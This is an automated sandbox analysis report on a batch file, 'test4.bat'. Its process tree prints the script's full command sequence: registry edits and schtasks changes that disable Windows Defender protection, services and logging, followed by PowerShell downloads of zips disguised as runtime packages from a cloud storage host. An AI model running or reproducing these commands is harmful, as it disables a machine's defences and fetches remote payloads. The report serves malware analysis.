Analysis

  • max time kernel
    143s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-08-2024 02:59

General

  • Target

    test4.bat

  • Size

    8KB

  • MD5

    94a014af3a4d1d428029d50d59777a2b

  • SHA1

    041aaa9003e6c8b9b978ae4c818359f2282dbcee

  • SHA256

    285bcd21d57064b349db7b8a853bbc6d4947a0c627760db5d7803a9f2d71374a

  • SHA512

    6cede67cfab078752e9c72b402735d17cb0eabbc02b5a176b819eb7e8560c54a6ee54f59cc39e2ee4566f6d0d74683e733016bd7a60c0efc5c384010f21797c3

  • SSDEEP

    96:WjfLtYHXoWaTj++V+m/sewag3XdZSBGn4sn0KYbWLM6Xn9RSWRMcl2z/wwxKlnHr:WTLtYH4fEmEdN40/o5LTsA4

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 3 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Powershell Invoke Web Request.

  • Modifies Security services 2 TTPs 3 IoCs

    Modifies the startup behavior of a security service.

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test4.bat"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2316
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender notification settings
        PID:4148
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
        2⤵
          PID:4408
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
          2⤵
            PID:2860
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            2⤵
              PID:4004
            • C:\Windows\system32\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
              2⤵
                PID:2832
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                2⤵
                  PID:2452
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                  2⤵
                    PID:1004
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
                    2⤵
                      PID:1488
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
                      2⤵
                        PID:4604
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                        2⤵
                          PID:428
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:2244
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:1212
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:1848
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:4504
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:3288
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:232
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:3908
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:3620
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:4376
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                2⤵
                                  PID:788
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:512
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:2032
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                      2⤵
                                        PID:4424
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                        2⤵
                                          PID:8
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                          2⤵
                                            PID:960
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                            2⤵
                                              PID:3996
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                              2⤵
                                                PID:4312
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                2⤵
                                                  PID:4304
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                  2⤵
                                                    PID:3764
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                    2⤵
                                                      PID:860
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                      2⤵
                                                        PID:1588
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:2320
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                          2⤵
                                                            PID:1164
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                            • Modifies Security services
                                                            PID:4664
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                            • Modifies Security services
                                                            PID:724
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                            • Modifies Security services
                                                            PID:3044
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                            • Modifies security service
                                                            PID:5100
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command "Invoke-WebRequest -Uri 'https://firebasestorage.googleapis.com/v0/b/downloads-db3a9.appspot.com/o/Visual-C-Runtimes-All-in-One-May-2024.zip?alt=media&token=0b62930d-1831-40fc-9fd2-5865d81a49e7' -OutFile 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-May-2024.zip'"
                                                            2⤵
                                                            • Blocklisted process makes network request
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4852
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command "Expand-Archive -Path 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-May-2024.zip' -DestinationPath 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-May-2024' -Force"
                                                            2⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3540
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command "Invoke-WebRequest -Uri 'https://firebasestorage.googleapis.com/v0/b/downloads-db3a9.appspot.com/o/Visual-C-Runtimes-All-in-One-July-2024.zip?alt=media&token=6e550e5d-2797-40d2-b7d6-fd62e8dd4b77' -OutFile 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-July-2024.zip'"
                                                            2⤵
                                                            • Blocklisted process makes network request
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3076
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -Command "Expand-Archive -Path 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-July-2024.zip' -DestinationPath 'C:\Loader\Runtime\Visual-C-Runtimes-All-in-One-July-2024' -Force"
                                                            2⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1488
                                                        • C:\Windows\system32\OpenWith.exe
                                                          C:\Windows\system32\OpenWith.exe -Embedding
                                                          1⤵
                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:4340

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

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                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          2f57fde6b33e89a63cf0dfdd6e60a351

                                                          SHA1

                                                          445bf1b07223a04f8a159581a3d37d630273010f

                                                          SHA256

                                                          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                          SHA512

                                                          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          f54739f39b26bcb477df3cc1d938c8de

                                                          SHA1

                                                          ce32f9dd56d756b9026ac33fe104b975118cb70f

                                                          SHA256

                                                          8ad9052ea2d364855cbf3731f4b5267c633205d2903289e18a21787b57b51312

                                                          SHA512

                                                          35e61cc96c228346a2b586970a55f8b686c7fe99eef86bcc63f00ccd38318a750bc6dd79d56d9daa79746ac67fc6153d57c1b4feb8c002fefe8dbd5a0fe57968

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          8b618485945e8cc39968a90af76ca8fd

                                                          SHA1

                                                          f1f7432cef86e8e20a366469968c9c15a44403e5

                                                          SHA256

                                                          665c03379802d60a03567e8004f4d7a98312c000c1babb6bccd4261370645104

                                                          SHA512

                                                          38e70a2f09d430528271f6e067d19e519d428892e693c314d397719718c3dd933a6822c0c591657a31f23605d4674b0ed118109718a6f60ffa8834ebfbf3827c

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          8c1ed73bbff48c8f07fb86d7b6b72268

                                                          SHA1

                                                          58ca6b8296e1fb2b875f779ed67af3d9eaae5911

                                                          SHA256

                                                          332be7c35b03dac2131d94e897d54d263692d08fdb74d380447d3e1fe2d31af0

                                                          SHA512

                                                          c0580aac8fe3eb45116fdf89ba05f537b664e1671cbfc5f55c307cba5c2505abc69033038cdc69be8caa9b732dc1739690a1210bc3f1fdefd84ba64e3e736ad8

                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0tar4jh.zvl.ps1

                                                          Filesize

                                                          60B

                                                          MD5

                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                          SHA1

                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                          SHA256

                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                          SHA512

                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                        • memory/4852-0-0x00000228BDE90000-0x00000228BDEB2000-memory.dmp

                                                          Filesize

                                                          136KB

                                                        • memory/4852-10-0x00000228D7670000-0x00000228D7E16000-memory.dmp

                                                          Filesize

                                                          7.6MB